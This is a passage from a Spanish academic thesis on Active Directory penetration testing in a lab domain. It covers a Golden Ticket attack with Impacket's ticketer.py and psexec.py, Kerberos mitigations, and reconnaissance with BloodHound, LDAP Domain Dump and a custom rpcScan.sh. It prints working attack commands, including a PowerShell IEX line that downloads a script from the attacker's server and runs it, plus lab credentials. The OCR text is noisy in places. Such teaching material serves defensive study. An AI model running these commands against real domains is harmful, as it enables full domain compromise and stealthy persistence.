tendremos persistencia en el controlador de dominio durante diez afos. También es posible
crear tickets TGT con permisos de administracion de usuarios que no existan dentro del

dominio.

Sin embargo, a pesar de que crear un ticket TGT con permisos de administrador, inyectarlo en
una maquina que pertenezca al dominio y poder listar aquellos recursos a los que solo tienen
acceso lo usuarios administradores, es una tarea critica que tiene un gran impacto dentro de
un entorno empresarial, lo que nos interesa como atacantes es disponer de acceso al
controlador de dominio como si fuésemos el usuario “Administrador” y ganar persistencia,

incluso si, como se ha comentado antes, dicho usuario cambiase su contrasefia.

Para poder realizar esta tarea, vamos a utilizar la herramienta ticketer.py, la cual se encuentra,
al igual que otras herramientas que hemos utilizado anteriormente, en el catalogo de
herramientas de Impacket. Esta herramienta nos permite crear un ticket TGT con extension
.ccache, para que posteriormente, mediante una variable de entorno denominada
KBRS5CCNAME, seamos capaces de acceder al controlador de dominio, ganando asi

persistencia en dicho equipo.

Primeramente, para generar el ticket TGT, el comando a ejecutar desde nuestra maquina de

atacante es:

python3 ticketer.py -nthash 8280948b937d164b870def34a08db349
-domain-sid $-1-5-21-42685679-1135432727-702863101

-domain awrscompany.local Administrador

Le hemos indicado a la herramienta el hash NTLM del usuario KRBTGT (-nthash), el SID del
dominio (-domain-sid), el nombre del dominio (-domain), y finalmente el usuario que
gueremos suplantar dentro del dominio. Como se puede apreciar, la informacion que le
proporcionamos a la herramienta es muy similar a la informacién que le proporciondbamos a

Mimikatz.
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Figura 56. Creacion de un ticket TGT de Administrador con ticketer.py

Tras crear el ticket TGT, el siguiente paso es exportar la variable de entorno KRB5CCNAME,

comentada anteriormente, con la ruta absoluta donde este contenido este ticket:

export KRB5CCNAME="/root/ActiveDirectory/Administrador.ccache”

Ahora, tan solo tendremos que ejecutar la herramienta psexec.py indicdndole que no
gueremos introducir contraseiia, sino que utilice el ticket que tiene la variable de entorno
KB5CCNAME para acceder al controlador de dominio, en este caso. Lo que esta realizando la
herramienta psexec.py, de forma transparente, es lo mismo que realizaba anteriormente
Mimikatz, es decir, Pass-The-Ticket; desde nuestra maquina de atacante, le presentamos al
controlador de dominio el ticket TGT creado, firmado por el usuario KRBTGT e inyectado en

nuestra maquina.

python3 psexec.py -n -k Administrador@DC-AwrsCompany
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share/doc/python3-impacket/examples

Figura 57. Pass-The-Ticket con psexec.py

Como se puede observar en la Figura 57, hemos obtenido acceso al controlador de dominio

como el usuario “Administrador”, utilizando la técnica Pass-The-Ticket.

En el caso de que el administrador de dominio real revisara los registros del sistema para
comprobar si ha ocurrido alguna anomalia, no encontraria ningun tipo de evidencia generada
por la inyeccion de este Golden Ticket, lo que es una muy buena noticia para el
atacante/auditor, ya que no existiria rastro alguno de lo sucedido; teniendo en cuenta que el
atacante/auditor ha eliminado todos los archivos que ha utilizado, tales como Mimikatz o el

propio ticket generado por Mimikatz, del controlador de dominio.

Es por ello, que es preferible y recomendable realizar este ataque mediante la herramienta
ticketer.py, ya que todas las acciones, como se ha podido comprobar, se realizan desde la
maquina del atacante y no se interacciona con el controlador de dominio hasta el final del

proceso.
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= Mitigaciones

En esta seccidn se han realizado varios ataques contra Kerberos, comenzando con dos ataques
para poder forzar y romper tickets TGS, asi como respuestas AS-REP mediante fuerza bruta.
Posteriormente se expuso la generacién de tickets TGT, mediante el ataque Golden Ticket,
que permitia el acceso sobre todo el dominio de Active Directory, valiéndose de la técnica

Pass-The-Ticket, que permitia inyectar un ticket para obtener ciertos privilegios.

Este dltimo ataque se considera un ataque que, en caso de materializarse, consiguiendo crear
un ticket TGT de un usuario administrador, supondria un grandisimo impacto para una
organizacién, ya que el atacante conseguiria, no solo comprometer todo el dominio de Active
Directory, sino ganar persistencia absoluta durante un periodo de tiempo de diez afios, como

se ha comentado anteriormente a lo largo del ataque.

Por lo tanto, a continuacién, se definirdn una serie de pautas a seguir para mitigar los ataques
contra Kerberos. Es importante indicar que las pautas que se definiran mitigan los ataques
realizados en esta seccidn, en el caso de nos encontremos ante otro tipo de ataque realizado
contra Kerberos, es probable que algunas de las pautas no tengan el efecto esperado ante ese
ataque. Como se comentd anteriormente, para poder combatir las vulnerabilidades concretas
de una tecnologia concreta, se requiere conocer dicha tecnologia en profundidad, asi como

de mucho tiempo y esfuerzo:

e Es importante que las contrasefas de las cuentas de usuario que ofrecen un servicio
tengan una contrasefia robusta, es decir, una contrasefia que este compuesta por mas
de veinticinco caracteres alfanuméricos, simbolos, etc. Esto hara que, en el caso de
que un atacante consiga un ticket TGS, no sea capaz de romperlo o le sea muy costoso

de romperlo para obtener la contrasefia en texto plano.

e Disponer de una politica de contraseiias implementada en una directiva de grupo
(GPO) que obligue a cambiar la contrasefia de todos los usuarios y administradores
durante un periodo corto de tiempo. Esto hard que la ventana de tiempo de la que

dispone el atacante para romper el ticket TGS se reduzca.
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No deshabilitar la autenticacion previa de Kerberos en todas las cuentas de usuario y
administrador para que ningln atacante pueda enviar un mensaje AS-REQ en nombre
de cualquier usuario y/o administrador, y obtenga como respuesta un mensaje AS-REP,

gue podria romper para obtener la contrasefia del usuario en texto plano.

Aplicar el principio del menor privilegio en todas las cuentas de usuario y
administrador, asi como limitar el nimero de administradores al minimo que sea

posible.

Es de vital importancia limitar el tiempo de vida de los tickets TGT y establecer un
tiempo de vida corto y acorde con las necesidades de la organizacién. ¢ Por qué realizar
esta accion? Algunos atacantes generan un ticket TGT con un tiempo de vida que
podria pasar desapercibido, sin embargo, existen atacantes que generan un ticket TGT
con un tiempo de vida muy elevado (como por ejemplo el ticket TGT creado en esta
seccién). Cuando esto ocurra, hay mds probabilidades de detectar que se ha
materializado un ataque Golden Ticket

Por consiguiente, una pregunta légica seria ¢Qué hacer si se materializa un ataque
Golden Ticket? Lo que se debe hacer es restablecer dos veces el servicio que ofrece el
usuario KRBTGT, la primera vez para que se genere un nuevo hash NTLM y la segunda

vez para que se elimine el hash NLTM comprometido.
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4.3.3. Reconocimiento en Active Directory

En una auditoria técnica de pentesting la fase de reconocimiento representa uno de los
procesos mds importantes. Bien es cierto que anteriormente se ha realizado un
reconocimiento activo sobre las maquinas que forman parte del dominio de Active Directory,
asi como se ha comprobado la validez y el alcance de los usuarios comprometidos, sin
embargo, cuando un auditor técnico, o incluso un atacante, quiere realizar un reconocimiento
de un entorno Active Directory, primero debe comprometer al menos un usuario que
pertenezca al dominio, sin importar los privilegios de este usuario. Es por ello que cuando los
auditores realizan una auditoria de pentesting de caja negra, esta fase de reconocimiento no
seria la primera tarea a realizar, sino que previamente deben haber comprometido al menos

un usuario del dominio.

Desde el punto de vista del atacante, es posible que surjan numerosas preguntas sobre como
llegar a comprometer el entorno en su totalidad, o cual seria el camino mas corto para
comprometerlo. Las respuestas a estas preguntas podrian venir de la mano de un
reconocimiento, y para cada caso particular estas respuestas podrian cambiar. Como se puede
suponer, existen multitud de caminos para comprometer un entorno Active Directory, y todos

ellos perfectamente validos.

= BloodHound

BloodHound [58] es una herramienta, creada por los expertos en ciberseguridad
estadounidenses Andrew Robbins, Rohan Vazarkar y Will Schroeder, que pretende facilitar y
automatizar el reconocimiento de un entorno Active Directory para poder obtener una visién
global del dominio, donde podemos obtener una gran cantidad de informacién para llegar a

comprometerlo en su totalidad.

El enorme potencial de esta herramienta reside precisamente en la gran cantidad de
informacién que es capaz de recopilar, lo que hace que sea fundamental para realizar un
reconocimiento en una auditoria técnica de pentesting sobre Active Directory, ya que es
posible descubrir usuarios con una configuracién errénea o insegura, asi como el camino mas

corto para comprometerlos y poder realizar movimientos laterales y verticales dentro del
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dominio, es decir, BloodHound es capaz de encontrar caminos de ataque complejos que de

otra manera serian imposible de identificar a simple vista.

Esta desarrollada en JavaScript, construida sobre Linkurious, la cual es una tecnologia que
permite crear grafos y relaciones; y funciona con una base de datos que es capaz de
interpretar estos grafos, como es Neo4j. Esta herramienta, ademas, utiliza un script en
PowerShell, que el atacante debe ejecutar dentro de un equipo, que sea parte del dominio,
para recopilar toda la informacién del domino a comprometer, cuyo resultado sera un fichero

que posteriormente se analizard con BloodHound.

Tras conocer, a grandes rasgos, el funcionamiento de esta herramienta, vamos a realizar el
procedimiento genérico que realizaria un auditor/atacante para ejecutar el script, y poner en

marcha la herramienta.

Vamos a suponer que hemos comprometido el hash NTLMv2 del usuario “Administrador”,
mediante algun ataque, y ademas hemos realizado el procedimiento visible en la Figura 32.
Como sabemos que podemos comprometer cualquier equipo del dominio, con la herramienta
evil-winrm, vamos a ganar acceso al controlador de dominio mediante la técnica Pass-The-
Hash, para poder descargar el script de un servidor que previamente habremos levantado en
nuestra maquina de atacante, seguidamente ejecutaremos dicho script en PowerShell. Este
script, denominado SharpHound.ps1, lo podemos encontrar en el repositorio de GitHub de

BloodHound [59].

Como se ha comentado antes, el resultado de la ejecucion del script serd un fichero, en
formato ZIP, compuesto por una serie de archivos en formato JSON, que posteriormente
podremos analizar con la herramienta BloodHound. Por tanto, los comandos a ejecutar desde

el controlador de dominio son:

>> IEX (New-Object
Net.Client) .downloadString(‘http://192.168.200.128:8085/SharpHound

.psl’)

>> Invoke-BloodHound -CollectionMethod All

>> download <ARCHIVO ZIP BLOODHOUND>
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Cabe destacar que, en esta ocasion, la ejecucién del script se esta realizando desde el
controlador de domino con un usuario administrador, sin embargo, esta misma ejecucién se
podria realizar desde otro equipo perteneciente al dominio con un usuario sin privilegios, y el

resultado deberia ser similar.

~/ActiveDirectory
119 200.129 -u ‘Adminis g ed4bb67a41ef

0210621194446_BloodH

-pHound.ps1 HTTP/1.1" 200 -

Figura 58. Ejecucion del script SharpHound.ps1 en el controlador de dominio

El siguiente paso sera iniciar el servidor Neo4j, en nuestra maquina de atacante (en la primera
ejecucidn del servidor se debe cambiar la contrasefia por defecto accediendo a la direccién

http://localhost:7687), el cual sera aquel que interprete la herramienta BloodHound:

neo4j console

Seguidamente iniciaremos BloodHound, donde tendremos que introducir las credenciales de
acceso del servidor Neo4j. Tras iniciar sesion, tendremos que subir el fichero ZIP que contiene

toda la informacion del dominio con la opcién “Upload Data” del menu superior derecho.
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BLOODHOUND

Log in to Neodj Dat:

bolt:/flocalhost: 7687

neo4j

Figura 59. Login de la herramienta BloodHound

Cuando el fichero se haya subido correctamente y se hayan cargado todos los archivos JSON,

aparecera un menu en la parte izquierda de la pantalla compuesto por tres apartados:

o Database Info: Contiene la informacion del dominio en el momento en el que se
recogieron los datos, es decir, nimero de equipos unidos al dominio, nimero de

usuarios del dominio, etc.

e Node Info: Contiene las propiedades de un determinado nodo, entendiendo nodo

como equipo, usuario, grupo, etc.

e Analysis: Contiene todas las consultas por defecto de la herramienta, asi como las

consultas definidas por el atacante.

Como podemos observar en la Figura 60, entre las consultas que trae por defecto BloodHound

encontramos multitud de vectores de ataques que podriamos efectuar sobre el domino de

Active Directory. Desde encontrar los usuarios vulnerables a un ataque que hemos efectuado
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anteriormente como es ASREPRoast, hasta encontrar el vector de ataque para realizar un

ataque DCSync [60], entre otros muchos vectores de ataques.

de A K

-

=  Searchforano

Database Info Node Info Analysis

Pre-Built Analytics Queries

Find all Domain Admins

Find Shortest Paths to Domain Admins

Find Principals with DCSync Rights

Users with Foreign Domain Group Membership

Groups with Foreign Domain Group Membership

Map Domain Trusts

Shortest Paths to Unconstrained Delegation Systems
Shortest Paths from Kerberoastable Users

Shortest Paths to Domain Admins from Kerberoastable Users
Shortest Path from Owned Principals

Shortest Paths to Domain Admins from Owned Principals
Shortest Paths to High Value Targets

Find Computers where Domain Users are Local Admin
Find Computers where Domain Users can read LAPS passwords
Shortest Paths from Domain Users to High Value Targets
Find All Paths from Domain Users to High Value Targets
Find Workstations where Domain Users can RDP

Find Servers where Domain Users can RDP

Find Dangerous Rights for Domain Users Groups

Find Kerberoastable Members of High Value Groups

List all Kerberoastable Accounts

Find Kerberoastable Users with most privileges

Find Domain Admin Logons to non-Domain Controllers
Find Computers with Unsupported Operating Systems
Find AS-REP Roastable Users (DontReqPreAuth)

Figura 60. Vectores de ataque por defecto de la herramienta BloodHound

= search for anode A K

Database Info Node Info Analysis

Pre-Built Analytics Queries

Find all Domain Admins

Eind Shortest Paths to Domain Admins

Find Principals with DCSync Rights

Users with Foreign Domain Group Membership

Groups with Foreign Domain Group Membership

Map Domain Trusts

Shortest Paths to Unconstrained Delegation Systems
Shortest Paths from Kerberoastable Users

Shortest Paths to Demain Admins from Kerberoastable Users
shortest Path from Owned Principals

Shortest Paths to Domain Admins from Owned Principals
Shortest Paths to High Value Targets

Find Computers where Domain Users are Local Admin
Find Computers where Domain Users can read LAPS passwords
Shortest Paths fram Domain Users to High Value Targets
Find All Paths from Domain Users to High Value Targets
Find Workstations where Domain Users can RDP

Find Servers where Domain Users can RDP

Find Dangerous Rights for Domain Users Groups

Find Kerberoastable Members of High Value Groups

List all Kerberoastable Accounts

Find Kerberoastable Users with most privileges

Find Domain Admin Logons to non-Domain Controllers
Find Computers with Unsupported Operating Systems:
Find AS-REP Roastable Users (DontReqPreAuth)

Crictom Oneriec 7o

Y
ADMINISTRATORS@A) COMPANY.LOCAL
ADMINISTRADORES DE EMPRESAS:
DEFAULT DOMAIN POLICW@DAWRSCOMPANY.LOCAL
ADMIN.TEST@AWRSCOMPANY.LOCAL lembergs
ADMIN.IT@AWRSCOMPANY.LOCAL
” AWRSCOMPANY.LOCAL

ADMINISTRADOR@AWRSCOMPANY.LOCAL

Figura 61. Resultado de la consulta “Find Shortest Paths to Domain Admins” que muestra las

vias potenciales de ataques para convertirse en administrador del dominio
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A KW T

Analysis

Pre-Built Analytics Queries

Find all Domain Admins

Rights
oup Membership

DC-AWRSCOMPANY.AWRSCOMPANY.L!

GetChangesall

ADMIN.TEST@AWRSC CCONTROLADORES DE DOMINIO@AWRSCOMPANY.LOCAL PVPANY.LOCAL

ADMIN.IT@AWRSCOMPANY.LO

Find Domai
Find Computers
Find AS-REP Roastable Users

Cnstam Oiieries 72

ADMINISTRADOR@AWRSCOMPANY.LOCAL

Figura 62. Resultado de la consulta “Find Principals with DCSync Rigths” que muestra el

vector principal para realizar un ataque DCSync

Ademas, BloodHound, no solo es capaz de representar aquellos grafos con las relaciones entre
recursos del dominio donde es posible encontrar vulnerabilidades y vias potenciales de
ataques, sino que también es capaz de especificar de manera exacta las instrucciones que se
deben ejecutar para poder aprovecharse y explotar dichas vias de ataques. En la Figura 61 se
podian apreciar las vias potenciales de ataques para poder convertirse en un usuario
administrador, lo que llamaria la atencién de un auditor/atacante seria ver como todos
aquellos miembros de los grupos “Administradores de Empresas” y “Administrators” tienen
permisos para modificar el DACL (Discretionary Access Control List), que afecta al grupo

“Admins. Del Dominio”.

Quizas esto no se considere una vulnerabilidad para la organizacién auditada, sin embargo, un
atacante podria aprovecharse de esta situacidn para realizar una escalada de privilegios y
convertirse en miembro del grupo “Admins. Del Dominio”, lo que le daria control total sobre

el dominio de Active Directory.

La pregunta entonces seria: ¢CoOmo realizar esa escalada de privilegios? BloodHound no solo
es capaz de interpretar las vias y vectores potenciales de ataques, sino que también nos
proporciona instrucciones claras y bien definidas sobre como explotar dichas vias y vectores

de ataques. En la Figura 63 se especifican las instrucciones que se deben ejecutar para poder
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aprovechar la vulnerabilidad WriteDacl, otorgando, no solo unas Unicas instrucciones, sino

varias instrucciones alternativas.

Info Abuse Info Opsec Considerations References

To abuse WriteDacl to a group object, you may grant yourself the AddMember privilege.
This can be accomplished using the Add-DomainCbjectAcl function in PowerView.

Y¥ou may need to authenticate to the Domain Controller as a member of
ADMINISTRATORS @AWRSCOMPANY.LOCAL if you are not running a process as a
member. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential
object (these examples comes from the PowerView help documentation):

FSecPassword = ConvertTo-SecureString 'Passwordl23!' -AsPlainText -Force
$Cred = New-Object
System.Management.Automation.PSCredential( 'TESTLABNdfm.a"', FSecPassword)

Then, use Add-DomainOhbjectAcl, optionally specifying $Cred if yvou are not already
running a process as ADMINISTRATORS@AWRSCOMPANY.LOCAL:

Figura 63. Instrucciones para explotar la vulnerabilidad WriteDacl

= LDAP Domain Dump

LDAP Domain Dump [61] es una herramienta desarrollada en Python, por el experto en
ciberseguridad neerlandés Dirk-jan Mollema, cuyo objetivo es realizar un reconocimiento de

un entorno Active Directory a través del protocolo LDAP.

Esta herramienta es capaz de generar una serie de archivos que contienen informacidn sobre

los objetos existentes en el dominio:

e domain_groups: Contiene informacién sobre todos los grupos que existen en el

dominio.
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e domain_users: Contiene informacion sobre todos los usuarios que existen en el

dominio.

e domain_computers: Contiene informacion sobre todos los equipos vinculados con el

dominio.

e domain_policy: Contiene informacion sobre todas las politicas vigentes en el dominio.

e domain_trusts: Contiene informacién sobre aquellas relaciones de confianza con otros

dominios.

e domain_users_by_group: Reune informacion sobre los usuarios que existen en el

dominio agrupados en funcién del grupo al que pertenecen.

e domain_computers_by_os: Reune informacion sobre los equipos vinculados al

dominio agrupados en funcion de su sistema operativo.

Debido a que las entradas dentro del protocolo se encuentran en formato LDIF, como se
explicd anteriormente en el capitulo 2, a menudo resultan dificiles de leer y entender, LDAP
Domain Dump trata estos datos realizando una conversion en formato HTML (ademads del
formato JSON de forma predeterminada), de manera que sea perfectamente entendible. Por
lo tanto, estos archivos detallados anteriormente se encuentran en formato HTML que cuenta

con unos estilos basicos.

Ademas, LDAP Domain Dump incluye una utilidad que permite convertir los archivos JSON a
archivos CSV para que sean totalmente compatibles con la herramienta BloodHound, sin
embargo, existe un inconveniente importante, ya que esta conversion solo seria valida para

las primeras versiones de BloodHound (1.x).

Para demostrar que no es necesario comprometer un usuario administrador, vamos a realizar
el procedimiento que realizaria un auditor/atacante con esta herramienta a través del usuario

“miles.morales”, mediante el siguiente comando:
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python3 ldapdomaindump.py -u ‘miles.morales’ -p ‘Spiderman!06’

192.168.200.129

En el comando anterior, introducimos las credenciales del usuario comprometido y la
direccion IP del controlador de dominio. LDAP Domain Dump iniciara una autenticacion
NTLMv2 frente al controlador de dominio y seguidamente realizard una serie de consultas
para tratar de conseguir toda la informacién de todos los objetos del dominio, dando como

resultado la generacion de los ficheros HTML descritos antes.

’ldapdomatndﬁap

r.local\miles.morales

Figura 64. Ejecucion de la herramienta LDAP Domain Dump

Todos los ficheros generados por la herramienta los desplazaremos hacia la ruta de nuestro
servidor web, que en esta ocasion es Apache, para que podamos acceder a la informacién de
una forma cdmoda y rédpida a través de nuestro navegador, como se puede observar en la

Figura 65.
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=+

@® localhost/ldapScan/

Index of /ldapScan

Name

Last modified Size Description

a Parent Directory

@ domain computers.grep

domain

computers.html

#

domain

domain

computers.json
computers by os.html 2021-06-21 19:20 2.5K

@ domain

domain

groups.grep
oroups.html

@ domain
@ domain

domain

groups.json
policy.grep

policy.html

@ domain

policy.json

@ domain

domain

trusts. grep
trusts.html

Lrusts.json

@ domain
@ domain

domain

USers.grep

users.himl

@ domain

users by group.html

domain

USers.json

2021-06-21 19:20 765
2021-06-21 19:20 1.9K
2021-06-21 19:20 10K

2021-06-21 19:20 12K
2021-06-21 19:20 19K
2021-06-21 19:20 82K
2021-06-21 19:20 263
2021-06-21 19:20 1.1K
2021-06-21 19:20 5.2K
2021-06-21 19:20 71
2021-06-21 19:20 828
2021-06-21 19:20 2
2021-06-21 19:20 2.6K
2021-06-21 19:20 7.9K
2021-06-21 19:20 20K
2021-06-21 19:20 17K

Apache/2.4.46 (Debian) Server at localhost Port 80

Figura 65. Ficheros HTML generados por LDAP Domain Dump

@ localhostAdapscanidomair x 4 © _ & x
€ C O localhost/ldapScan/domain_users.homl # & i
Domain users
[ CN_ [ name [ saMName | Member of groups |Primary group| Createdon | Changed on | lastLogon | Flags pwdLastset | SID | description.
Propietarios del cresdor de directivas de grupo, Jel o Usiosdel | 060121 0GUR2I | ORDAZI - oRDL21 Cuenta de prucha del adiisrodor. Elimines tias el
AduinTest | AduinTess  adiniest - : : lose  morss  gwangs  NORMAL ACCOUNT, DONT EXPIRE PASSWD Tosaan 133 s s P - Admimory
oEOIZI 08DIZL  0RUIZL - 0&0721
BaichProcess  BatchProcess  awrs batchprocess lomsas  tvoman g  NORMAL ACCOUNT ptons 1111 | Proceso Batch
031421 061421 061421 NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, oR21
AdesinIT | Adeia 18338 |1 |Da20i | DONT.REQPREAUTH Tous o 1110 | Cuents de respaldo del dministiador de T
147 G772 o 5
Leyte Garela | Leyre Gar a2l NORMAL ACCOUNT, DONT_EXPIRE PASSWD USAARL | 1108 et del depariaments de redes
11:3457 082820
s Mo s e A onAL_ACCOUNT PONTFXPIRE_PASSWD IR e e i
Y S DIBLOL T DISABLED, KORMAL ACCOUNT wnat
- i . OMOLI | ACCOUNT_DISABLED, PASSWD_NOTREQD, ool
o 00:0000  NORMAL ACCOUNT, DONT EXPIRE PASSWD on:00:00
OB1621 y . 050821 B iirgrada para la adminisiracidn el equipa o
Admiristrodor Adminitrador Administrador Triaey  NORMAI_ACCOUNT, DONT_EXPIRE_PASSWD ot 00

Figura 66. Fichero domain_users.html generado por LDAP Domain Dump
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@ o + © - ©° x
<« — * &
Admins. del dominio
[ e [ name SAM Name n | Changedon | lastLogon Flags pwdLastset
TN osua21 ) . soL21 el i

AdmnTest AdminTest dni ity oty NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD i

AdesiarT Ad e NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQ_PREAUTH | "o ot o0

AdwwrT | Adm a B o A Q. i

owie21

drminisrador - ORMAL_ACC E Assw

Ad Ad e NORMAL_ACCOURT, DONT_EXPIRE_PASSWD
Administradores de empresas
[ G [ nam T SAM Name o | lasitogon | Flags

I SASE e

6oL

o57as NORMAL_ACCOUNT, DONT EXPIRE_PASSWD

NORMAL ACCOUNT, DONT EXPIRE_PASSWD, DONT REQ PREAUTH | o'

NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD

Flag

AdmoTes AdmisTest NORMAL_ACCOUIT, DONT EXPIRE_PASSWD

AdminIT AdminlT NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQ PREAUTH | 0"
dministrador i aministrador NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD

Administradores

[ o [ me SAM e Fiop

Admsern AduisT ot

NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD

U4\ onaAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_RFQ_PREAUTH | '

Figura 67. Fichero domain_users_by _gruop.html generado por LDAP Domain Dump

En la Figura 66 podemos observar todas las cuentas de usuario que existen a nivel de dominio,

incluyendo la cuenta KRGTGT, no obstante, como auditor/atacante, llama la atencion que la

cuenta de administrador “admin.test”, visible, tanto en la figura que se mencionaba antes,

como en la Figura 67, tenga su contrasefa expuesta en texto claro en su propia descripcion.

Este hecho pone de manifiesto un incidente de seguridad como es la fuga de informacion.

Este incidente de seguridad provoca un impacto y unas consecuencias extremadamente

negativas para una organizacion, ya que dafa la imagen de la organizacién generando

desconfianza e inseguridad en los clientes que esta pudiese tener. Por otro lado, si un

empleado de la organizacidn es consciente del incidente, pero no lo comunica, esta ejerciendo

un mal comportamiento que puede ser motivo de sancién, tanto a nivel de la organizacién,

como a nivel legislativo.

En esta ocasidn, la hipotética causa del incidente ha sido la ausencia de medidas de seguridad,

como podrian ser:

e Falta de clasificacion de la informacion.

e Falta de conocimiento y formacién de los empleados en materia de seguridad

informatica y de la informacién.
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e Falta de procedimientos para los empleados en materia de seguridad informatica y de

la informacion.

e Descontrol en el acceso a la informacion.

e Inexistencia de acuerdos de confidencialidad con los empleados de la organizacion.

Todo ello supone una falta de control sobre los datos. Si una organizacién desconoce el valor
de la informacién que esta tratando, le serd imposible disefiar las medidas de proteccion
adecuadas, y serad un objetivo potencial de los cibercriminales que se aprovecharan de la falta
de medidas de seguridad para lograr acceder a informacién confidencial y comprometer la

organizacién.

= rpcScan.sh

rpcScan.sh se trata de una herramienta propia desarrollada en Bash, cuya funcionalidad es
realizar un reconocimiento de los usuarios y grupos del dominio de Active Directory. Esta
herramienta se apoya en la herramienta rpcclient para filtrar y dar formato a los datos de
salida. Todos los detalles acerca de esta herramienta se encuentran documentados en el

Anexo A.

Durante la fase de fingerprinting nos dimos cuenta de que no podiamos acceder a los
diferentes componentes del dominio de Active Directory haciendo uso de un “Null Session”,
es decir, sin introducir credenciales validas de usuario. Por lo tanto, de nuevo mediante el
usuario sin privilegios “miles.morales” vamos a ser capaces de realizar un reconocimiento de
los grupos y usuarios que existen en el dominio de Active Directory mediante el siguiente

comando:

./rpcScan.sh -s ScanAll -a 192.168.200.129 -u ‘miles.morales’ -p

‘Spiderman! 06’
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El comando anterior indica un reconocimiento completo de todos los usuarios y grupos del
dominio (usuarios, usuarios administradores y grupos), haciendo uso de las credenciales del
usuario que se comentaba antes, “miles.morales”. Como se puede observar, la direcciéon IP es

la direccion del controlador de dominio.

En la Figura 68 y la Figura 69 se puede observar la ejecucidon de la herramienta, donde es capaz
de mostrarnos el nombre de usuario y/o grupo, el identificador RID del usuario y/o grupo, el
nombre completo del usuario y la descripcién del usuario y/o grupo. Gracias a este
reconocimiento podemos saber todos aquellos usuarios que son administradores del dominio
y que, por tanto, si comprometemos sus credenciales podriamos comprometer el controlador
de dominio. En este reconocimiento, también podemos observar la descripcién del usuario
“admin.test”, donde estd expuesta su contrasefa en texto claro, al igual que ocurria en el
reconocimiento anterior realizado con la herramienta LDAP Domain Dump, y que nuevamente

se corresponde con un incidente de seguridad de fuga de informacion.

Miles Morales

Figura 68. Reconocimiento de usuarios, usuarios administradores y grupos con rpcScan.sh (19

parte)
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Figura 69. Reconocimiento de usuarios, usuarios administradores y grupos con rpcScan.sh (29

parte)
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5. Conclusiones y trabajo futuro

5.1. Conclusiones

La seguridad informatica se ha convertido en uno de los pilares fundamentales, no solo de
nuestras infraestructuras tecnoldgicas, sino de multitud de organizaciones e incluso
gobiernos, los cuales han visto la ciberseguridad como algo necesario y primordial para
salvaguardar su seguridad nacional. La historia nos ha ensefiado como la ciberseguridad puede
ser utilizada para realizar acciones malintencionadas, acciones que pueden llegar a derrumbar
una nacién entera o incluso a cambiar el pensamiento y criterio de las personas, llegando asi
a cambiar el trascurso de la historia. Con el paso del tiempo, iban surgiendo nuevas amenazas
gue ponian en jaque los sistemas de seguridad informdtica y de la informacién del mundo
entero, por lo que surgio la necesidad de conocer como funcionaban esas amenazas y sobre
todo conocer la mente de aquellas personas, considerados cibercriminales, que creaban
dichas amenazas. De esa necesidad surgieron nuevos caminos en la ciberseguridad ofensiva,
caminos que conducian hacia nuevas auditorias técnicas que satisficiesen aquello que tanto
demandaban las organizaciones como eran los test de intrusién, o cominmente denominados
pentesting. Se requeria de profesionales que auditasen organizaciones y pensasen como lo
haria un cibercriminal para solventar aquellos fallos o errores de seguridad que podian
aprovechar precisamente los cibercriminales. Se considerd casi como un arte, profesionales y
académicos convertidos en hackers éticos que eran capaces de eludir la seguridad de una

organizacidn era algo que hasta hace 10 o 15 aios apenas habiamos visto.

Al mismo tiempo que la ciberseguridad ofensiva iba creciendo y desarrollandose, las
organizaciones también se iban desarrollando tecnoldgicamente, adoptando nuevas
tecnologias que los llevase realizar una gestién de la misma de una forma mas sencilla. El
servicio por excelencia para realizar dicha gestién es el Servicio de Directorio, y de una forma
mas concreta, la implementacidon que mas se utiliza en entornos empresariales es Active
Directory de Microsoft. Es por ello que una gran parte de auditorias técnicas de pentesting en
organizaciones se centran sobre Active Directory, ya que a menudo los atacantes son capaces
de acceder a un recurso dentro del directorio activo, como una cuenta de usuario, ya sea a

través de algin método de ingeniera social o comprometiendo el perimetro de acceso, para
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posteriormente realizar un reconocimiento dentro del dominio con el objetivo de descubrir
recursos y equipos que le sean de utilidad para realizar movimientos laterales y verticales

hasta lograr escalar privilegios y conseguir persistencia en el directorio activo.

Uno de los vectores de ataque mds comunes del que se aprovechan los cibercriminales, para,
posteriormente, poder comprometer recursos del dominio, es la autenticacidon de Active
Directory. Se aprovechan de las vulnerabilidades por disefio que existen en los protocolos de
autenticaciéon mas utilizados, como son NT LAN Manager (NTLM) y Kerberos. Por desgracia,
actualmente todavia existen organizaciones que no prestan suficiente atencién al protocolo
de autenticacién que esta vigente en su dominio de Active Directory y, por consiguiente, cada
vez es mas recurrente que los cibercriminales sean capaces de comprometer entornos

empresariales enteros.

Uno de los métodos de ataque mds habituales, que realizan los cibercriminales, son los
ataques de retransmision o comunmente conocidos como ataques Relay, donde los
cibercriminales son capaces de capturar credenciales validas de diferentes usuarios que
pertenecen al dominio de Active Directory, para posteriormente enviar una autenticacion y

hacerse pasar por el usuario para conseguir acceso.

Es muy comun en entornos empresariales reales que existan procedimientos automatizados
gue se ejecutan a intervalos regulares de tiempo, y realizan acciones dentro del domino en
nombre de algln usuario de este. Es por ello por lo que las organizaciones deben controlar en
todo momento los procedimientos automatizados, los privilegios de los usuarios y sus
recursos a nivel de red, si no quieren ser vulnerables a ataques Relay. También existen
organizaciones que tienen implantadas mitigaciones sobre el protocolo IPv4, pero que, por
alguna razdn, ignoran las mitigaciones sobre el protocolo IPv6. El hecho de que no existan
medidas de seguridad en el protocolo IPv6 deja abierta una puerta muy amplia a numerosos
vectores de ataque que aprovechan este protocolo, y que utilizan los cibercriminales para

comprometer todo el entorno empresarial.

Los ataques Relay son complementados con otras técnicas de atague como son el cracking de
contrasefias, donde el cibercriminal trata de romper el hash que ha capturado previamente
en el ataque Relay. Es entonces donde el cibercriminal podrd comprobar si la organizacion,

que desea comprometer, dispone de una politica de contrasefias robustas. No obstante,

115



Alvaro Temporal Palomares
Pentesting de entornos Active Directory vulnerables

también existen hashes que no es posible romperlos, pero que nos sirven para realizar otra
técnica complementaria como es Pass-the-Hash, donde se inyecta directamente el hash

capturado para realizar la autenticacion sin conocer la contrasefia en texto plano.

Otro método de ataque mads habitual, que también realizan los cibercriminales, es la creacion
